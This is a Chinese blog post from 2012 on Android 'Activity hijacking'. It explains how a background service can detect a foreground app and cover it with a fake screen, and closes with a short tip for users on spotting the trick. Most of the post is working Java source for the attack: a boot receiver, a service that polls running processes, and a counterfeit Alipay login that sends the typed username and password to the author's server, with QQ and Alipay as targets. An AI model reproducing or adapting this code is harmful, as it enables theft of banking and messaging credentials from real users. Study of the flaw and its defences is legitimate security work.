大談android安全1——Activity劫持與用戶防范
1、Activity調(diào)度機(jī)制
在android系統(tǒng)中,不同的程序之間的切換基本上是無(wú)縫的,它們之間的切換只不過(guò)是Activity的切換。Activity的概念相當(dāng)于一個(gè)與用戶交互的界面。而Activity的調(diào)度是交由Android系統(tǒng)中的AmS管理的。AmS即ActivityManagerService(Activity管理服務(wù)),各個(gè)應(yīng)用想啟動(dòng)或停止一個(gè)進(jìn)程,都是先報(bào)告給AmS。
當(dāng)AmS收到要啟動(dòng)或停止Activity的消息時(shí),它先更新內(nèi)部記錄,再通知相應(yīng)的進(jìn)程運(yùn)行或停止指定的Activity。當(dāng)新的Activity啟動(dòng),前一個(gè)Activity就會(huì)停止,這些Activity都保留在系統(tǒng)中的一個(gè)Activity歷史棧中。每有一個(gè)Activity啟動(dòng),它就壓入歷史棧頂,并在手機(jī)上顯示。當(dāng)用戶按下back鍵時(shí),頂部Activity彈出,恢復(fù)前一個(gè)Activity,棧頂指向當(dāng)前的Activity。
2、Android設(shè)計(jì)上的缺陷——Activity劫持
如果在啟動(dòng)一個(gè)Activity時(shí),給它加入一個(gè)標(biāo)志位FLAG_ACTIVITY_NEW_TASK,就能使它置于棧頂并立馬呈現(xiàn)給用戶。
<img class="alignnone size-full wp-image-621" title="Activity劫持 演示文檔" src="http://msdxblog-wordpress.stor.sinaapp.com/uploads/2012/08/Activity劫持-演示文檔.png" alt="" width="960" height="720" />
但是這樣的設(shè)計(jì)卻有一個(gè)缺陷。如果這個(gè)Activity是用于盜號(hào)的偽裝Activity呢?
在Android系統(tǒng)當(dāng)中,程序可以枚舉當(dāng)前運(yùn)行的進(jìn)程而不需要聲明其他權(quán)限,這樣子我們就可以寫(xiě)一個(gè)程序,啟動(dòng)一個(gè)后臺(tái)的服務(wù),這個(gè)服務(wù)不斷地掃描當(dāng)前運(yùn)行的進(jìn)程,當(dāng)發(fā)現(xiàn)目標(biāo)進(jìn)程啟動(dòng)時(shí),就啟動(dòng)一個(gè)偽裝的Activity。如果這個(gè)Activity是登錄界面,那么就可以從中獲取用戶的賬號(hào)密碼。
3、示例
下面是示例代碼。
AndroidManifest.xml文件的代碼。
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.sinaapp.msdxblog.android.activityhijacking"
- android:versionCode="1"
- android:versionName="1.0" >
- <uses-sdk android:minSdkVersion="4" />
- <uses-permission android:name="android.permission.INTERNET" />
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
- <application
- android:name=".HijackingApplication"
- android:icon="@drawable/icon"
- android:label="@string/app_name" >
- <activity
- android:name=".activity.HijackingActivity"
- android:theme="@style/transparent"
- android:label="@string/app_name" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- <activity android:name=".activity.sadstories.JokeActivity" />
- <activity android:name=".activity.sadstories.QQStoryActivity" />
- <activity android:name=".activity.sadstories.AlipayStoryActivity" />
- <receiver
- android:name=".receiver.HijackingReceiver"
- android:enabled="true"
- android:exported="true" >
- <intent-filter>
- <action android:name="android.intent.action.BOOT_COMPLETED" />
- </intent-filter>
- </receiver>
- <service android:name=".service.HijackingService" >
- </service>
- </application>
- </manifest>
- 在以上的代碼中,聲明了一個(gè)服務(wù)service,用于枚舉當(dāng)前運(yùn)行的進(jìn)程。其中如果不想開(kāi)機(jī)啟動(dòng)的話,甚至可以把以上receiver部分的代碼,及聲明開(kāi)機(jī)啟動(dòng)的權(quán)限的這一行代碼 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,僅僅需要訪問(wèn)網(wǎng)絡(luò)的權(quán)限(向外發(fā)送獲取到的賬號(hào)密碼),單從AndroidManifest文件是看不出任何異常的。
- 下面是正常的Activity的代碼。在這里只是啟動(dòng)用于Activity劫持的服務(wù)。如果在上面的代碼中已經(jīng)聲明了開(kāi)機(jī)啟動(dòng),則這一步也可以省略。
- Java代碼 復(fù)制代碼 收藏代碼
- package com.sinaapp.msdxblog.android.activityhijacking.activity;
- import android.app.Activity;
- import android.content.Intent;
- import android.os.Bundle;
- import android.util.Log;
- import com.sinaapp.msdxblog.android.activityhijacking.R;
- import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
- public class HijackingActivity extends Activity {
- /** Called when the activity is first created. */
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.main);
- Intent intent2 = new Intent(this, HijackingService.class);
- startService(intent2);
- Log.w("hijacking", "activity啟動(dòng)用來(lái)劫持的Service");
- }
- }
- 如果想要開(kāi)機(jī)啟動(dòng),則需要一個(gè)receiver,即廣播接收器,在開(kāi)機(jī)時(shí)得到開(kāi)機(jī)啟動(dòng)的廣播,并在這里啟動(dòng)服務(wù)。如果沒(méi)有開(kāi)機(jī)啟動(dòng)(這跟上面至少要實(shí)現(xiàn)一處,不然服務(wù)就沒(méi)有被啟動(dòng)了),則這一步可以省略。
- Java代碼 復(fù)制代碼 收藏代碼
- /*
- * @(#)HijackingBroadcast.java Project:ActivityHijackingDemo
- * Date:2012-6-7
- *
- * Copyright (c) 2011 CFuture09, Institute of Software,
- * Guangdong Ocean University, Zhanjiang, GuangDong, China.
- * All rights reserved.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
- package com.sinaapp.msdxblog.android.activityhijacking.receiver;
- import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.util.Log;
- /**
- * @author Geek_Soledad (66704238@51uc.com)
- */
- public class HijackingReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
- Log.w("hijacking", "開(kāi)機(jī)啟動(dòng)");
- Intent intent2 = new Intent(context, HijackingService.class);
- context.startService(intent2);
- Log.w("hijacking", "啟動(dòng)用來(lái)劫持的Service");
- }
- }
- }
- 下面這個(gè)HijackingService類可就關(guān)鍵了,即用來(lái)進(jìn)行Activity劫持的。
- 在這里,將運(yùn)行枚舉當(dāng)前運(yùn)行的進(jìn)程,發(fā)現(xiàn)目標(biāo)進(jìn)程,彈出偽裝程序。
- 代碼如下:
- Java代碼 復(fù)制代碼 收藏代碼
- /*
- * @(#)HijackingService.java Project:ActivityHijackingDemo
- * Date:2012-6-7
- *
- * Copyright (c) 2011 CFuture09, Institute of Software,
- * Guangdong Ocean University, Zhanjiang, GuangDong, China.
- * All rights reserved.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
- package com.sinaapp.msdxblog.android.activityhijacking.service;
- import java.util.HashMap;
- import java.util.List;
- import android.app.ActivityManager;
- import android.app.ActivityManager.RunningAppProcessInfo;
- import android.app.Service;
- import android.content.Context;
- import android.content.Intent;
- import android.os.Handler;
- import android.os.IBinder;
- import android.util.Log;
- import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
- import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
- import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
- import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;
- /**
- * @author Geek_Soledad (66704238@51uc.com)
- */
- public class HijackingService extends Service {
- private boolean hasStart = false;
- // 這是一個(gè)悲傷的故事……
- HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();
- // Timer mTimer = new Timer();
- Handler handler = new Handler();
- Runnable mTask = new Runnable() {
- @Override
- public void run() {
- ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
- List<RunningAppProcessInfo> appProcessInfos = activityManager
- .getRunningAppProcesses();
- // 枚舉進(jìn)程
- Log.w("hijacking", "正在枚舉進(jìn)程");
- for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
- // 如果APP在前臺(tái),那么——悲傷的故事就要來(lái)了
- if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
- if (mSadStories.containsKey(appProcessInfo.processName)) {
- // 進(jìn)行劫持
- hijacking(appProcessInfo.processName);
- } else {
- Log.w("hijacking", appProcessInfo.processName);
- }
- }
- }
- handler.postDelayed(mTask, 1000);
- }
- /**
- * 進(jìn)行劫持
- * @param processName
- */
- private void hijacking(String processName) {
- Log.w("hijacking", "有程序要悲劇了……");
- if (((HijackingApplication) getApplication())
- .hasProgressBeHijacked(processName) == false) {
- Log.w("hijacking", "悲劇正在發(fā)生");
- Intent jackingIsComing = new Intent(getBaseContext(),
- mSadStories.get(processName));
- jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- getApplication().startActivity(jackingIsComing);
- ((HijackingApplication) getApplication())
- .addProgressHijacked(processName);
- Log.w("hijacking", "已經(jīng)劫持");
- }
- }
- };
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
- @Override
- public void onStart(Intent intent, int startId) {
- super.onStart(intent, startId);
- if (!hasStart) {
- mSadStories.put("com.sinaapp.msdxblog.android.lol",
- JokeActivity.class);
- mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
- mSadStories.put("com.eg.android.AlipayGphone",
- AlipayStoryActivity.class);
- handler.postDelayed(mTask, 1000);
- hasStart = true;
- }
- }
- @Override
- public boolean stopService(Intent name) {
- hasStart = false;
- Log.w("hijacking", "劫持服務(wù)停止");
- ((HijackingApplication) getApplication()).clearProgressHijacked();
- return super.stopService(name);
- }
- }
- 下面是支付寶的偽裝類(布局文件就不寫(xiě)了,這個(gè)是對(duì)老版本的支付寶界面的偽裝,新的支付寶登錄界面已經(jīng)完全不一樣了。表示老版本的支付寶的界面相當(dāng)?shù)疤?,讀從它反編譯出來(lái)的代碼苦逼地讀了整個(gè)通宵結(jié)果還是沒(méi)讀明白。它的登錄界面各種布局蛋疼地嵌套了十層,而我為了實(shí)現(xiàn)跟它一樣的效果也蛋疼地嵌套了八層的組件)。
- Java代碼 復(fù)制代碼 收藏代碼
- /*
- * @(#)QQStoryActivity.java Project:ActivityHijackingDemo
- * Date:2012-6-7
- *
- * Copyright (c) 2011 CFuture09, Institute of Software,
- * Guangdong Ocean University, Zhanjiang, GuangDong, China.
- * All rights reserved.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
- package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;
- import android.app.Activity;
- import android.os.Bundle;
- import android.os.Handler;
- import android.os.HandlerThread;
- import android.text.Html;
- import android.view.View;
- import android.widget.Button;
- import android.widget.EditText;
- import android.widget.TextView;
- import com.sinaapp.msdxblog.android.activityhijacking.R;
- import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;
- /**
- * @author Geek_Soledad (66704238@51uc.com)
- */
- public class AlipayStoryActivity extends Activity {
- private EditText name;
- private EditText password;
- private Button mBtAlipay;
- private Button mBtTaobao;
- private Button mBtRegister;
- private TextView mTvFindpswd;
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- this.setTheme(android.R.style.Theme_NoTitleBar);
- setContentView(R.layout.alipay);
- mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
- mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
- mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
- mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
- mTvFindpswd.setText(Html.fromHtml("[u]找回登錄密碼[/u]"));
- mBtAlipay.setSelected(true);
- name = (EditText) findViewById(R.id.input_name);
- password = (EditText) findViewById(R.id.input_password);
- }
- public void onButtonClicked(View v) {
- switch (v.getId()) {
- case R.id.alipay_bt_login:
- HandlerThread handlerThread = new HandlerThread("send");
- handlerThread.start();
- new Handler(handlerThread.getLooper()).post(new Runnable() {
- @Override
- public void run() {
- // 發(fā)送獲取到的用戶密碼
- SendUtil.sendInfo(name.getText().toString(), password
- .getText().toString(), "支付寶");
- }
- });
- moveTaskToBack(true);
- break;
- case R.id.alipay_bt_alipay:
- chooseToAlipay();
- break;
- case R.id.alipay_bt_taobao:
- chooseToTaobao();
- break;
- default:
- break;
- }
- }
- private void chooseToAlipay() {
- mBtAlipay.setSelected(true);
- mBtTaobao.setSelected(false);
- name.setHint(R.string.alipay_name_alipay_hint);
- mTvFindpswd.setVisibility(View.VISIBLE);
- mBtRegister.setVisibility(View.VISIBLE);
- }
- private void chooseToTaobao() {
- mBtAlipay.setSelected(false);
- mBtTaobao.setSelected(true);
- name.setHint(R.string.alipay_name_taobao_hint);
- mTvFindpswd.setVisibility(View.GONE);
- mBtRegister.setVisibility(View.GONE);
- }
- }
上面的其他代碼主要是為了讓界面的點(diǎn)擊效果與真的支付寶看起來(lái)盡量一樣。主要的代碼是發(fā)送用戶密碼的那一句。
至于SendUtil我就不提供了,它是向我寫(xiě)的服務(wù)器端發(fā)送一個(gè)HTTP請(qǐng)求,將用戶密碼發(fā)送出去。
4、用戶防范
這里我將說(shuō)下我發(fā)現(xiàn)的防范的方法,非常簡(jiǎn)單。這個(gè)方法是對(duì)用戶而言的。android手機(jī)均有一個(gè)HOME鍵(即小房子的那個(gè)圖標(biāo)),長(zhǎng)按可以看到近期任務(wù)(前幾天發(fā)現(xiàn)一個(gè)奇葩的手機(jī),居然是短按一個(gè)鍵的,而這個(gè)鍵長(zhǎng)按時(shí)是彈出MENU菜單,太奇葩了)。對(duì)于我所用的HTC G14而言,顯示的最近的一個(gè)是上一個(gè)運(yùn)行的程序。小米顯示的最近的一個(gè)是當(dāng)前運(yùn)行的程序。所以,在要輸入密碼進(jìn)行登錄時(shí),可以通過(guò)長(zhǎng)按HOME鍵查看近期任務(wù),以我的手機(jī)為例,如果在登錄QQ時(shí)長(zhǎng)按發(fā)現(xiàn)近期任務(wù)出現(xiàn)了QQ,則我現(xiàn)在的這個(gè)登錄界面就極有可能是偽裝了,切換到另一個(gè)程序,再查看近期任務(wù),就可以知道這個(gè)登錄界面是來(lái)源于哪個(gè)程序了。
如果是小米手機(jī)的話,在進(jìn)行登錄時(shí),如果查看的近期任務(wù)的第一個(gè)不是自己要登錄的那個(gè)程序的名字,則它就是偽裝的。
目前對(duì)于這種Activity劫持,沒(méi)有發(fā)現(xiàn)有任何手機(jī)查殺軟件可以主動(dòng)防范。而我所知的,也只有我發(fā)現(xiàn)的這一方法可以判別。如果有新的消息,歡迎參加討論。